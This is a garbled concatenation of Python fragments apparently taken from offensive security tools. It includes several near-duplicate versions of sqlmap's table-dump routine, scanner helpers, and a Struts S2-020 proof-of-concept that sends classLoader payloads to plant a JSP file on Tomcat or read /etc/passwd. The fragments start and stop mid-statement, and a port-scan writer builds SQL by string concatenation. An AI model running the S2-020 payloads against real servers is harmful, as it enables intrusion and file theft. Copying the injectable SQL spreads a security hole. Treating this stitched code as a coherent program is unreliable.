bodyNode.appendChild(rowNode) for column in columns: if column != "__infos__": info = tableValues[column] if len(info["values"]) <= i: continue if info["values"][i] is None: value = u'' else: value = getUnicode(info["values"][i]) value = DUMP_REPLACEMENTS.get(value, value) values.append(value) maxlength = int(info["length"]) blank = " " * (maxlength - len(value)) self._write("| %s%s" % (value, blank), newline=False, console=console) if conf.dumpFormat == DUMP_FORMAT.CSV: if field == fields: dataToDumpFile(dumpFP, "%s" % safeCSValue(value)) else: dataToDumpFile( dumpFP, "%s%s" % (safeCSValue(value), conf.csvDel)) elif conf.dumpFormat == DUMP_FORMAT.HTML: entryNode = documentNode.createElement("td") rowNode.appendChild(entryNode) entryNode.appendChild( documentNode.createTextNode(value)) field += 1 if conf.dumpFormat == DUMP_FORMAT.SQLITE: try: rtable.insert(values) except SqlmapValueException: pass elif conf.dumpFormat == DUMP_FORMAT.CSV: dataToDumpFile(dumpFP, "\n") self._write("|", console=console) self._write("%s\n" % separator) if conf.dumpFormat == DUMP_FORMAT.SQLITE: rtable.endTransaction() logger.info("table '%s.%s' dumped to sqlite3 database '%s'" % (db, table, replication.dbpath)) elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML): if conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "<!DOCTYPE html>\n<html>\n<head>\n") dataToDumpFile( dumpFP, "<meta http-equiv=\"Content-type\" content=\"text/html;charset=%s\">\n" % UNICODE_ENCODING) dataToDumpFile( dumpFP, "<title>%s</title>\n" % ("%s%s" % ("%s." % db if METADB_SUFFIX not in db else "", table))) dataToDumpFile(dumpFP, HTML_DUMP_CSS_STYLE) dataToDumpFile(dumpFP, "\n</head>\n") dataToDumpFile(dumpFP, tableNode.toxml()) dataToDumpFile(dumpFP, "\n</html>") else: dataToDumpFile(dumpFP, "\n") dumpFP.close() logger.info("table '%s.%s' dumped to %s file '%s'" % (db, table, conf.dumpFormat, dumpFileName))
def dbTableValues(self, tableValues): replication = None rtable = None if tableValues is None: return db = tableValues["__infos__"]["db"] if not db: db = "All" table = tableValues["__infos__"]["table"] if conf.replicate: replication = Replication( "%s%s%s.sqlite3" % (conf.dumpPath, os.sep, unsafeSQLIdentificatorNaming(db))) else: dumpDbPath = "%s%s%s" % (conf.dumpPath, os.sep, unsafeSQLIdentificatorNaming(db)) if not os.path.isdir(dumpDbPath): os.makedirs(dumpDbPath, 0755) dumpFileName = "%s%s%s.csv" % (dumpDbPath, os.sep, unsafeSQLIdentificatorNaming(table)) dumpFP = openFile(dumpFileName, "wb") count = int(tableValues["__infos__"]["count"]) separator = str() field = 1 fields = len(tableValues) - 1 columns = prioritySortColumns(tableValues.keys()) for column in columns: if column != "__infos__": info = tableValues[column] lines = "-" * (int(info["length"]) + 2) separator += "+%s" % lines separator += "+" self._write("Database: %s\nTable: %s" % (db if db else "Current database", table)) if conf.replicate: cols = [] for column in columns: if column != "__infos__": colType = Replication.INTEGER for value in tableValues[column]['values']: try: if not value or value == " ": # NULL continue int(value) except ValueError: colType = None break if colType is None: colType = Replication.REAL for value in tableValues[column]['values']: try: if not value or value == " ": # NULL continue float(value) except ValueError: colType = None break cols.append( (column, colType if colType else Replication.TEXT)) rtable = replication.createTable(table, cols) if count == 1: self._write("[1 entry]") else: self._write("[%d entries]" % count) self._write(separator) for column in columns: if column != "__infos__": info = tableValues[column] maxlength = int(info["length"]) blank = " " * (maxlength - len(column)) self._write("| %s%s" % (column, blank), n=False) if not conf.replicate: if field == fields: dataToDumpFile(dumpFP, "%s" % safeCSValue(column)) else: dataToDumpFile( dumpFP, "%s%s" % (safeCSValue(column), conf.csvDel)) field += 1 self._write("|\n%s" % separator) if not conf.replicate: dataToDumpFile(dumpFP, "\n") if conf.replicate: rtable.beginTransaction() if count > TRIM_STDOUT_DUMP_SIZE: warnMsg = "console output will be trimmed to " warnMsg += "last %d rows due to " % TRIM_STDOUT_DUMP_SIZE warnMsg += "large table size" logger.warning(warnMsg) for i in xrange(count): console = (i >= count - TRIM_STDOUT_DUMP_SIZE) field = 1 values = [] for column in columns: if column != "__infos__": info = tableValues[column] if len(info["values"]) <= i: continue if info["values"][i] is None: value = u'' else: value = getUnicode(info["values"][i]) value = {" ": NULL, "": BLANK}.get(value, value) values.append(value) maxlength = int(info["length"]) blank = " " * (maxlength - len(value)) self._write("| %s%s" % (value, blank), n=False, console=console) if not conf.replicate: if field == fields: dataToDumpFile(dumpFP, "%s" % safeCSValue(value)) else: dataToDumpFile( dumpFP, "%s%s" % (safeCSValue(value), conf.csvDel)) field += 1 if conf.replicate: try: rtable.insert(values) except sqlmapValueException: pass self._write("|", console=console) if not conf.replicate: dataToDumpFile(dumpFP, "\n") self._write("%s\n" % separator) if conf.replicate: rtable.endTransaction() logger.info("table '%s.%s' dumped to sqlite3 file '%s'" % (db, table, replication.dbpath)) else: dataToDumpFile(dumpFP, "\n") dumpFP.close() logger.info("table '%s.%s' dumped to CSV file '%s'" % (db, table, dumpFileName))
def processResponse(page, responseHeaders, code=None, status=None): kb.processResponseCounter += 1 page = page or "" parseResponse( page, responseHeaders if kb.processResponseCounter < PARSE_HEADERS_LIMIT else None, status) if not kb.tableFrom and Backend.getIdentifiedDbms() in (DBMS.ACCESS, ): kb.tableFrom = extractRegexResult(SELECT_FROM_TABLE_REGEX, page) else: kb.tableFrom = None if conf.parseErrors: msg = extractErrorMessage(page) if msg: logger.warning("parsed DBMS error message: '%s'" % msg.rstrip('.')) if kb.processResponseCounter < IDENTYWAF_PARSE_LIMIT: rawResponse = "%s %s %s\n%s\n%s" % ( _http_client.HTTPConnection._http_vsn_str, code or "", status or "", getUnicode( "".join(responseHeaders.headers if responseHeaders else [])), page) identYwaf.non_blind.clear() if identYwaf.non_blind_check(rawResponse, silent=True): for waf in identYwaf.non_blind: if waf not in kb.identifiedWafs: kb.identifiedWafs.add(waf) errMsg = "WAF/IPS identified as '%s'" % identYwaf.format_name( waf) singleTimeLogMessage(errMsg, logging.CRITICAL) if kb.originalPage is None: for regex in (EVENTVALIDATION_REGEX, VIEWSTATE_REGEX): match = re.search(regex, page) if match and PLACE.POST in conf.parameters: name, value = match.groups() if PLACE.POST in conf.paramDict and name in conf.paramDict[ PLACE.POST]: if conf.paramDict[PLACE.POST][name] in page: continue else: msg = "do you want to automatically adjust the value of '%s'? [y/N]" % name if not readInput(msg, default='N', boolean=True): continue conf.paramDict[PLACE.POST][name] = value conf.parameters[PLACE.POST] = re.sub( r"(?i)(%s=)[^&]+" % re.escape(name), r"\g<1>%s" % value.replace('\\', r'\\'), conf.parameters[PLACE.POST]) if not kb.browserVerification and re.search(r"(?i)browser.?verification", page or ""): kb.browserVerification = True warnMsg = "potential browser verification protection mechanism detected" if re.search(r"(?i)CloudFlare", page): warnMsg += " (CloudFlare)" singleTimeWarnMessage(warnMsg) if not kb.captchaDetected and re.search(r"(?i)captcha", page or ""): for match in re.finditer(r"(?si)<form.+?</form>", page): if re.search(r"(?i)captcha", match.group(0)): kb.captchaDetected = True break if re.search(r"<meta[^>]+\brefresh\b[^>]+\bcaptcha\b", page): kb.captchaDetected = True if kb.captchaDetected: warnMsg = "potential CAPTCHA protection mechanism detected" if re.search(r"(?i)<title>[^<]*CloudFlare", page): warnMsg += " (CloudFlare)" singleTimeWarnMessage(warnMsg) if re.search(BLOCKED_IP_REGEX, page): warnMsg = "it appears that you have been blocked by the target server" singleTimeWarnMessage(warnMsg)
def rfi(exp, url): # Remote file include exp(url) logger.warning( "Please use other tools to exploit this vulnerability. Exit exploit mode" )
def verity(self): # print self.banner logger.info("Struts_S2-020_POC checking %s" % self.url) ORG_URL = self.url urlinfo = urlparse(ORG_URL) tom8_check_url = urlunparse( (urlinfo.scheme, urlinfo.netloc, '/', '', '', '')) tom6x7x_url_two = urlunparse((urlinfo.scheme, urlinfo.netloc, urlinfo.path.split('/')[1], '', '', '')) self.headers = { 'Host': urlinfo.hostname, 'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; BOIE9;)', 'Referer': self.url, 'banner': 's2-020 poc from cf_hb.' } poc_tom8 = [] poc_win_tom6x7x = [] poc_linux_tom6x7x = [] # Tomcat 8.x Linux+Windows poc_tom8.append( "?class.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT" ) poc_tom8.append( "?class.classLoader.resources.context.parent.pipeline.first.prefix=S2020POC" ) poc_tom8.append( "?class.classLoader.resources.context.parent.pipeline.first.suffix=.jsp" ) poc_tom8.append( "?class.classLoader.resources.context.parent.pipeline.first.fileDateFormat=1" ) poc_tom8.append('?poc=<%out.write("This_Site_Is_Vulnerable_S2020");%>') # Tomcat6.x and Tomcat 7.x - Windows poc_win_tom6x7x.append( "?class.classLoader.resources.dirContext.aliases=/S2020=C://Windows/" ) # Tomcat6.x and Tomcat 7.x - Linux poc_linux_tom6x7x.append( "?class.classLoader.resources.dirContext.aliases=/S2020=/") try: for poc_add in poc_tom8: poc_url = urljoin(ORG_URL, poc_add) resp = req.get(poc_url, headers=self.headers, timeout=3) time.sleep(1) checkurl = urljoin(tom8_check_url, "S2020POC1.jsp") # tomcat写日志难以捉摸,为了避免漏掉,测试5次每次停顿1秒 # check 5 times for i in range(0, 5): resp = req.get(checkurl, headers=self.headers, timeout=3) time.sleep(1) if resp.status_code and "This_Site_Is_Vulnerable_S2020" in resp.content: msg = "Congratulations!!! {url} is vulnerable S2-020.".format( url=self.url) logger.success(msg) return True # Check tomcat6.x and tomcat7.x - Windows for poc_add in poc_win_tom6x7x: poc_url = urljoin(ORG_URL, poc_add) resp = req.get(poc_url, headers=self.headers, timeout=3) time.sleep(1) checkurl = tom6x7x_url_two + "/S2020/explorer.exe" resp = req.head(checkurl, timeout=3) if resp.status_code == 200: size = resp.headers.get('Content-Length') fsize = int(size) / 1024 if fsize > 1: #检测文件大小是否大于1KB msg = "Congratulations!!! {url} is vulnerable S2-020.".format( url=self.url) logger.success(msg) return True # Check tomcat6.x and tomcat7.x - Linux for poc_add in poc_linux_tom6x7x: poc_url = urljoin(ORG_URL, poc_add) resp = req.get(poc_url, headers=self.headers, timeout=3) time.sleep(1) checkurl = tom6x7x_url_two + "/S2020/etc/passwd" resp = req.get(checkurl, headers=self.headers, timeout=3) if resp.status_code and ("/bin/bash" in resp.content or "root:x:0:0:root:/root" in resp.content): self._report(ORG_URL) return True msgError = "sorry!! {url} is no vulnerable.".format(url=self.url) logger.warning(msgError) return False except Exception, e: print "Failed to connection target, try again.." return False
def TargetRegister(targets): target_result = [] for target in targets: parse_targets = parseTarget(target) for parse_target in parse_targets: ip = parse_target["ip"] domain = parse_target["domain"] if parse_target[ "domain"] else "Domain Null" url = parse_target["url"] if parse_target["url"] else "Url Null" if ip: if ip not in RESULT: RESULT[ip] = { "Status": "", "MAC": "", "HostNames": "", "services": "", domain: { "status": "", "subDomain": [] }, url: [] } TARGETS.IP.append(ip) target_result.append([1, ip, None, None, ip]) if domain != "Domain Null": TARGETS.DOMAIN.append(domain) target_result.append([2, ip, domain, None, None]) for sub in CONF.dns_sub: TARGETS.subDomain.append("%s.%s" % (sub, domain)) target_result.append( [2, ip, domain, None, "%s.%s" % (sub, domain)]) if url != "Url Null": TARGETS.URL.append(url) target_result.append([3, ip, domain, url, url]) for dir in CONF.dir: if "/" in dir: target_result.append( [3, ip, domain, url, url + dir]) TARGETS.URL.append(url + dir) else: target_result.append( [3, ip, domain, url, url + "/" + dir]) TARGETS.URL.append(url + "/" + dir) else: if domain != "Domain Null" and domain not in RESULT[ip]: RESULT[ip][domain] = {"status": "", "subDomain": []} TARGETS.DOMAIN.append(domain) target_result.append([2, ip, domain, None, None]) for sub in CONF.dns_sub: TARGETS.subDomain.append("%s.%s" % (sub, domain)) target_result.append( [2, ip, domain, None, "%s.%s" % (sub, domain)]) if url != "Url Null" and url not in RESULT[ip]: RESULT[ip][url] = [] TARGETS.URL.append(url) target_result.append([3, ip, domain, url, url]) for dir in CONF.dir: if "/" in dir: target_result.append( [3, ip, domain, url, url + dir]) TARGETS.URL.append(url + dir) else: target_result.append( [3, ip, domain, url, url + "/" + dir]) TARGETS.URL.append(url + "/" + dir) else: logger.warning("[AWIScan] %s is error" % target) return target_result
if conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "\n</tr>\n</thead>\n<tbody>\n") self._write("|\n%s" % separator) if conf.dumpFormat == DUMP_FORMAT.CSV: dataToDumpFile(dumpFP, "\n" if not appendToFile else "") elif conf.dumpFormat == DUMP_FORMAT.SQLITE: rtable.beginTransaction() if count > TRIM_STDOUT_DUMP_SIZE: warnMsg = "console output will be trimmed to " warnMsg += "last %d rows due to " % TRIM_STDOUT_DUMP_SIZE warnMsg += "large table size" logger.warning(warnMsg) for i in xrange(count): console = (i >= count - TRIM_STDOUT_DUMP_SIZE) field = 1 values = [] if conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "<tr>") for column in columns: if column != "__infos__": info = tableValues[column] if len(info["values"]) <= i: continue
def main(): banner() try: paths.ROOT_PATH = module_path() try: os.path.isdir(paths.ROOT_PATH) except UnicodeEncodeError: errMsg = "your system does not properly handle non-ASCII paths. " errMsg += "Please move the project root directory to another location" logger.error(errMsg) raise SystemExit cmdLineOptions.update(cmdline_parse().__dict__) init_options(cmdLineOptions) set_paths(paths.ROOT_PATH) if IS_WIN: winowsColorInit() start() except Exception, e: logger.error(e.message) logger.error(traceback.format_exc()) except Exception: logger.error(traceback.format_exc()) logger.warning( 'It seems like you reached a unhandled exception, please report it to author\'s mail:[email protected]' ) if __name__ == "__main__": main()
def fr(exp, url): # File read exp(url) logger.warning( "Please use other tools to exploit this vulnerability. Exit exploit mode" )
def parse_options(args): if not (args.url or args.parameter): logger.warning('Please input url and inject paramter!!!') sys.exit(1) if not (args.tech and args.dbms): logger.warning('Please set option --dbms,--tech') sys.exit(1) if args.db and (not (args.getTables or args.getColumns or args.dumpTable)): logger.warning('Dnt know what...Please options [--tables|--dump]') sys.exit(1) if args.db and args.tbl and (not (args.getColumns or args.dumpTable)): logger.warning('Dnt know what...Please options [--columns|--dump]') sys.exit(1) if args.db and args.tbl and args.col and not args.dumpTable: logger.warning('Dnt know what...Please options [--dump]') sys.exit(1) if (args.dumpTable or args.dumpTable) and (not args.db): logger.warning('Please input will dump db [-D test]') sys.exit(1) if args.dumpTable and args.col and (not args.tbl): logger.warning('Please input will dump table [-T test]') sys.exit(1)
def update(): if not conf.updateAll: return success = False if not os.path.exists(os.path.join(paths.SQLMAP_ROOT_PATH, ".git")): warnMsg = "not a git repository. It is recommended to clone the 'sqlmapproject/sqlmap' repository " warnMsg += "from GitHub (e.g. 'git clone --depth 1 %s sqlmap')" % GIT_REPOSITORY logger.warn(warnMsg) if VERSION == getLatestRevision(): logger.info("already at the latest revision '%s'" % getRevisionNumber()) return message = "do you want to try to fetch the latest 'zipball' from repository and extract it (experimental) ? [y/N]" if readInput(message, default='N', boolean=True): directory = os.path.abspath(paths.SQLMAP_ROOT_PATH) try: open(os.path.join(directory, "sqlmap.py"), "w+b") except Exception, ex: errMsg = "unable to update content of directory '%s' ('%s')" % ( directory, getSafeExString(ex)) logger.error(errMsg) else: attrs = os.stat(os.path.join(directory, "sqlmap.py")).st_mode for wildcard in ('*', ".*"): for _ in glob.glob(os.path.join(directory, wildcard)): try: if os.path.isdir(_): shutil.rmtree(_) else: os.remove(_) except: pass if glob.glob(os.path.join(directory, '*')): errMsg = "unable to clear the content of directory '%s'" % directory logger.error(errMsg) else: try: archive = urllib.urlretrieve(ZIPBALL_PAGE)[0] with zipfile.ZipFile(archive) as f: for info in f.infolist(): info.filename = re.sub(r"\Asqlmap[^/]+", "", info.filename) if info.filename: f.extract(info, directory) filepath = os.path.join(paths.SQLMAP_ROOT_PATH, "lib", "core", "settings.py") if os.path.isfile(filepath): with open(filepath, "rb") as f: version = re.search( r"(?m)^VERSION\s*=\s*['\"]([^'\"]+)", f.read()).group(1) logger.info( "updated to the latest version '%s#dev'" % version) success = True except Exception, ex: logger.error("update could not be completed ('%s')" % getSafeExString(ex)) else: if not success: logger.error("update could not be completed") else: try: os.chmod(os.path.join(directory, "sqlmap.py"), attrs) except OSError: logger.warning( "could not set the file attributes of '%s'" % os.path.join(directory, "sqlmap.py"))
pocsPath) except Exception, e: logger.warning("Create pocs output directory '%s' failed! %s" % (pocsPath, e)) #Create a directory by current time today = time.strftime("%Y-%m-%d") todayPath = os.path.join(pocsPath, today) if not os.path.isdir(todayPath): try: os.makedirs(todayPath) logger.info("Using '%s' as the pocs today output directory" % todayPath) except Exception, e: logger.warning( "Create pocs today output directory '%s' failed! %s" % (todayPath, e)) return todayPath def set_record_files(self): """Create the output file!""" todayPath = self.create_output_dir() second = time.strftime("%Y-%m-%d-%H-%M-%S") + ".txt" outputPath = os.path.join(todayPath, second) msg_format = " {:>25} {:^50} {:<10} \n" if not os.path.isfile(outputPath): try: with open(outputPath, "w") as f: f.write(msg_format.format("pocName", "target", "result")) f.write(msg_format.format("=======", "======", "======"))
def dbTableValues(self, tableValues): replication = None rtable = None dumpFP = None appendToFile = False if tableValues is None: return db = tableValues["__infos__"]["db"] if not db: db = "All" table = tableValues["__infos__"]["table"] if hasattr(conf, "api"): self._write(tableValues, content_type=CONTENT_TYPE.DUMP_TABLE) return dumpDbPath = os.path.join( conf.dumpPath, re.sub(r"[^\w]", "_", unsafeSQLIdentificatorNaming(db))) if conf.dumpFormat == DUMP_FORMAT.SQLITE: replication = Replication( os.path.join(conf.dumpPath, "%s.sqlite3" % unsafeSQLIdentificatorNaming(db))) elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML): if not os.path.isdir(dumpDbPath): os.makedirs(dumpDbPath, 0755) dumpFileName = os.path.join( dumpDbPath, "%s.%s" % (unsafeSQLIdentificatorNaming(table), conf.dumpFormat.lower())) appendToFile = os.path.isfile(dumpFileName) and any( (conf.limitStart, conf.limitStop)) dumpFP = openFile(dumpFileName, "wb" if not appendToFile else "ab") count = int(tableValues["__infos__"]["count"]) separator = str() field = 1 fields = len(tableValues) - 1 columns = prioritySortColumns(tableValues.keys()) if conf.col: cols = conf.col.split(',') columns = sorted(columns, key=lambda _: cols.index(_) if _ in cols else 0) for column in columns: if column != "__infos__": info = tableValues[column] lines = "-" * (int(info["length"]) + 2) separator += "+%s" % lines separator += "+" self._write( "Database: %s\nTable: %s" % (unsafeSQLIdentificatorNaming(db) if db else "Current database", unsafeSQLIdentificatorNaming(table))) if conf.dumpFormat == DUMP_FORMAT.SQLITE: cols = [] for column in columns: if column != "__infos__": colType = Replication.INTEGER for value in tableValues[column]['values']: try: if not value or value == " ": # NULL continue int(value) except ValueError: colType = None break if colType is None: colType = Replication.REAL for value in tableValues[column]['values']: try: if not value or value == " ": # NULL continue float(value) except ValueError: colType = None break cols.append((unsafeSQLIdentificatorNaming(column), colType if colType else Replication.TEXT)) rtable = replication.createTable(table, cols) elif conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "<!DOCTYPE html>\n<html>\n<head>\n") dataToDumpFile( dumpFP, "<meta http-equiv=\"Content-type\" content=\"text/html;charset=%s\">\n" % UNICODE_ENCODING) dataToDumpFile( dumpFP, "<title>%s</title>\n" % ("%s%s" % ("%s." % db if METADB_SUFFIX not in db else "", table))) dataToDumpFile(dumpFP, HTML_DUMP_CSS_STYLE) dataToDumpFile(dumpFP, "\n</head>\n<body>\n<table>\n<thead>\n<tr>\n") if count == 1: self._write("[1 entry]") else: self._write("[%d entries]" % count) self._write(separator) for column in columns: if column != "__infos__": info = tableValues[column] column = unsafeSQLIdentificatorNaming(column) maxlength = int(info["length"]) blank = " " * (maxlength - len(column)) self._write("| %s%s" % (column, blank), newline=False) if not appendToFile: if conf.dumpFormat == DUMP_FORMAT.CSV: if field == fields: dataToDumpFile(dumpFP, "%s" % safeCSValue(column)) else: dataToDumpFile( dumpFP, "%s%s" % (safeCSValue(column), conf.csvDel)) elif conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile( dumpFP, "<th>%s</th>" % cgi.escape(column).encode( "ascii", "xmlcharrefreplace")) field += 1 if conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "\n</tr>\n</thead>\n<tbody>\n") self._write("|\n%s" % separator) if conf.dumpFormat == DUMP_FORMAT.CSV: dataToDumpFile(dumpFP, "\n" if not appendToFile else "") elif conf.dumpFormat == DUMP_FORMAT.SQLITE: rtable.beginTransaction() if count > TRIM_STDOUT_DUMP_SIZE: warnMsg = "console output will be trimmed to " warnMsg += "last %d rows due to " % TRIM_STDOUT_DUMP_SIZE warnMsg += "large table size" logger.warning(warnMsg) for i in xrange(count): console = (i >= count - TRIM_STDOUT_DUMP_SIZE) field = 1 values = [] if conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "<tr>") for column in columns: if column != "__infos__": info = tableValues[column] if len(info["values"]) <= i: continue if info["values"][i] is None: value = u'' else: value = getUnicode(info["values"][i]) value = DUMP_REPLACEMENTS.get(value, value) values.append(value) maxlength = int(info["length"]) blank = " " * (maxlength - len(value)) self._write("| %s%s" % (value, blank), newline=False, console=console) if len(value ) > MIN_BINARY_DISK_DUMP_SIZE and r'\x' in value: try: mimetype = magic.from_buffer(value, mime=True) if any( mimetype.startswith(_) for _ in ("application", "image")): if not os.path.isdir(dumpDbPath): os.makedirs(dumpDbPath, 0755) filepath = os.path.join( dumpDbPath, "%s-%d.bin" % (unsafeSQLIdentificatorNaming(column), randomInt(8))) warnMsg = "writing binary ('%s') content to file '%s' " % ( mimetype, filepath) logger.warn(warnMsg) with open(filepath, "wb") as f: _ = safechardecode(value, True) f.write(_) except magic.MagicException, err: logger.debug(str(err)) if conf.dumpFormat == DUMP_FORMAT.CSV: if field == fields: dataToDumpFile(dumpFP, "%s" % safeCSValue(value)) else: dataToDumpFile( dumpFP, "%s%s" % (safeCSValue(value), conf.csvDel)) elif conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile( dumpFP, "<td>%s</td>" % cgi.escape(value).encode( "ascii", "xmlcharrefreplace")) field += 1 if conf.dumpFormat == DUMP_FORMAT.SQLITE: try: rtable.insert(values) except SqlmapValueException: pass elif conf.dumpFormat == DUMP_FORMAT.CSV: dataToDumpFile(dumpFP, "\n") elif conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "</tr>\n") self._write("|", console=console)
async def _request(self, method, url, **kwargs): headers = kwargs.get('headers') if headers == None: headers = {} if 'Accept' not in headers.keys(): headers[ "Accept"] = 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' if 'Accept-Charset' not in headers.keys(): headers["Accept-Charset"] = 'GB2312,utf-8;q=0.7,*;q=0.7' if 'Accept-Encoding' not in headers.keys(): # headers["Accept-Encoding"] = 'gzip, deflate, sdch, br' headers["Accept-Encoding"] = 'gzip, deflate, sdch' headers['Referer'] = url if 'User-Agent' not in headers.keys( ) or 'aiohttp' in headers["User-Agent"]: headers["User-Agent"] = random.choice(USER_AGENTS) # random_ip = random_IP() # if 'Client_IP' not in headers.keys(): # headers['Client_IP'] = random_ip # if 'X-Forwarded-For' not in headers.keys(): # headers['X-Forwarded-For'] = random_ip kwargs.setdefault('headers', headers) kwargs.setdefault('verify_ssl', False) if self._limit: await self._limit.wait_available() total = self._max_fail_retries if method.lower() == 'get' else 0 timeout = int(conf['basic']['timeout']) if 'timeout' not in kwargs.keys(): kwargs.setdefault('timeout', timeout) # if kwargs.get('proxy') is None: # try: # if True: # proxy = 'http://localhost:8080/' # kwargs.setdefault('proxy', proxy) # except KeyError as e: # logger.error("Load tentacle config error: %s, please check the config in tentacle.conf." % e) for count in range(total): resp = None try: resp = await super()._request(method, url, **kwargs) return resp except Exception as ex: pass logger.warning( 'request to {url} failed, retrying ({count} / {total})...') if resp: resp.close() await asyncio.sleep(self._retry_interval) try: return await super()._request(method, url, **kwargs) except TooManyRedirects: kwargs.setdefault('max_redirects', 3) try: return await self._request(method, url, **kwargs) except: return None except (ClientOSError, ClientResponseError, ClientConnectorError, ServerDisconnectedError): return None except Exception as e: if get_safe_ex_string(e).strip( ) != '' and 'InvalidServerVersion' not in get_safe_ex_string( e) and 'Unexpected SOCKS' not in get_safe_ex_string(e): # errmsg = traceback.format_exc() # logger.error(errmsg) logger.error("Curl error: %s for %s" % (get_safe_ex_string(e), url)) return None
cur = conn.cursor() cur.execute("update host set port='"+ports+"' where id="+ID) conn.commit() except Exception as e: logger.warning(e) return if __name__ == '__main__': conn = connectdb() tasks = readTarget(conn) while tasks.empty() == False: target = tasks.get() Id = target[0] ip = target[1] try: b = port_scanner(ip) result = b[ip]['port'] except Exception as e: #print "Error" + str(Id) logger.warning(e) continue print result ports = '' for i in result: for l in i.keys(): if isinstance(l, int): if i[l] == 'open': ports += str(l) + ',' ports = ports.rstrip(',') writedb(conn, ports, str(Id)) conn.close()
prt('vulnscan_paths', vulnscan_paths) init_all_plugins() set_running_options(args) # 开始扫描 # 默认使用console模式 if not args.graphic: console_main() else: graphic_main() except ToolkitMissingPrivileges as e: logger.error(e) systemQuit(EXIT_STATUS.ERROR_EXIT) except ToolkitSystemException as e: logger.error(e) systemQuit(EXIT_STATUS.ERROR_EXIT) except ToolkitUserQuitException: systemQuit(EXIT_STATUS.USER_QUIT) except KeyboardInterrupt: print('\nCtrl+C Stop running\n') sys.exit(0) systemQuit(EXIT_STATUS.USER_QUIT) except Exception: print(traceback.format_exc()) logger.warning('It seems like you reached a unhandled exception.')
def dbTableValues(self, tableValues): replication = None rtable = None dumpFP = None appendToFile = False if tableValues is None: return db = tableValues["__infos__"]["db"] if not db: db = "All" table = tableValues["__infos__"]["table"] if hasattr(conf, "api"): self._write(tableValues, content_type=CONTENT_TYPE.DUMP_TABLE) return dumpDbPath = "%s%s%s" % (conf.dumpPath, os.sep, unsafeSQLIdentificatorNaming(db)) if conf.dumpFormat == DUMP_FORMAT.SQLITE: replication = Replication("%s%s%s.sqlite3" % (conf.dumpPath, os.sep, unsafeSQLIdentificatorNaming(db))) elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML): if not os.path.isdir(dumpDbPath): os.makedirs(dumpDbPath, 0755) dumpFileName = "%s%s%s.%s" % (dumpDbPath, os.sep, unsafeSQLIdentificatorNaming(table), conf.dumpFormat.lower()) appendToFile = os.path.isfile(dumpFileName) and any((conf.limitStart, conf.limitStop)) dumpFP = openFile(dumpFileName, "wb" if not appendToFile else "ab") count = int(tableValues["__infos__"]["count"]) separator = str() field = 1 fields = len(tableValues) - 1 columns = prioritySortColumns(tableValues.keys()) for column in columns: if column != "__infos__": info = tableValues[column] lines = "-" * (int(info["length"]) + 2) separator += "+%s" % lines separator += "+" self._write("Database: %s\nTable: %s" % (unsafeSQLIdentificatorNaming(db) if db else "Current database", unsafeSQLIdentificatorNaming(table))) if conf.dumpFormat == DUMP_FORMAT.SQLITE: cols = [] for column in columns: if column != "__infos__": colType = Replication.INTEGER for value in tableValues[column]['values']: try: if not value or value == " ": # NULL continue int(value) except ValueError: colType = None break if colType is None: colType = Replication.REAL for value in tableValues[column]['values']: try: if not value or value == " ": # NULL continue float(value) except ValueError: colType = None break cols.append((unsafeSQLIdentificatorNaming(column), colType if colType else Replication.TEXT)) rtable = replication.createTable(table, cols) elif conf.dumpFormat == DUMP_FORMAT.HTML: documentNode = getDOMImplementation().createDocument(None, "table", None) tableNode = documentNode.documentElement if count == 1: self._write("[1 entry]") else: self._write("[%d entries]" % count) self._write(separator) if conf.dumpFormat == DUMP_FORMAT.HTML: headNode = documentNode.createElement("thead") rowNode = documentNode.createElement("tr") tableNode.appendChild(headNode) headNode.appendChild(rowNode) bodyNode = documentNode.createElement("tbody") tableNode.appendChild(bodyNode) for column in columns: if column != "__infos__": info = tableValues[column] column = unsafeSQLIdentificatorNaming(column) maxlength = int(info["length"]) blank = " " * (maxlength - len(column)) self._write("| %s%s" % (column, blank), newline=False) if not appendToFile: if conf.dumpFormat == DUMP_FORMAT.CSV: if field == fields: dataToDumpFile(dumpFP, "%s" % safeCSValue(column)) else: dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(column), conf.csvDel)) elif conf.dumpFormat == DUMP_FORMAT.HTML: entryNode = documentNode.createElement("td") rowNode.appendChild(entryNode) entryNode.appendChild(documentNode.createTextNode(column)) field += 1 self._write("|\n%s" % separator) if conf.dumpFormat == DUMP_FORMAT.CSV: dataToDumpFile(dumpFP, "\n" if not appendToFile else "") elif conf.dumpFormat == DUMP_FORMAT.SQLITE: rtable.beginTransaction() if count > TRIM_STDOUT_DUMP_SIZE: warnMsg = "console output will be trimmed to " warnMsg += "last %d rows due to " % TRIM_STDOUT_DUMP_SIZE warnMsg += "large table size" logger.warning(warnMsg) for i in xrange(count): console = (i >= count - TRIM_STDOUT_DUMP_SIZE) field = 1 values = [] if conf.dumpFormat == DUMP_FORMAT.HTML: rowNode = documentNode.createElement("tr") bodyNode.appendChild(rowNode) for column in columns: if column != "__infos__": info = tableValues[column] if len(info["values"]) <= i: continue if info["values"][i] is None: value = u'' else: value = getUnicode(info["values"][i]) value = DUMP_REPLACEMENTS.get(value, value) values.append(value) maxlength = int(info["length"]) blank = " " * (maxlength - len(value)) self._write("| %s%s" % (value, blank), newline=False, console=console) if len(value) > MIN_BINARY_DISK_DUMP_SIZE and r'\x' in value: try: mimetype = magic.from_buffer(value, mime=True) if any(mimetype.startswith(_) for _ in ("application", "image")): if not os.path.isdir(dumpDbPath): os.makedirs(dumpDbPath, 0755) filepath = os.path.join(dumpDbPath, "%s-%d.bin" % (unsafeSQLIdentificatorNaming(column), randomInt(8))) 